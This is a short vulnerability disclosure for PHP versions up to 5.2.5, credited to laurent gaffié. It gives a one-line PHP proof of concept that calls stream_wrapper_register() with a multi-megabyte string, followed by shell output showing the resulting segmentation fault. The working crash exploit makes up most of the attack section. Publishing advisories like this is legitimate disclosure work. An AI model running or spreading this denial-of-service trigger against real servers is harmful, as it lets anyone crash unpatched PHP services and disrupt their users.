PHP <= 5.2.5 stream_wrapper_register() denial of service
Application: PHP <= 5.2.5
Web Site: http://php.net
Platform: unix
Bug: Denial of service
fonction: stream_wrapper_register()
special condition: default php-memory-limit
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========
"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
======
2) Bug
======
stream_wrapper_register() is vulnerable to a denial of service
=====
3)Proof of concept
=====
Proof of concept example :
<?php
stream_wrapper_register("hi",str_repeat("A",8477000));//let's make sure we
trigger it !
?>
result:
root@unsafebox:~/Desktop# php shot.php
Erreur de segmentation (core dumped)
root@unsafebox:~/Desktop#
========
4)Greets
========
Benjilenoob, Ivanlef0u, la team soh, #futurezone, #soh
=====
5)Credits
=====
laurent gaffié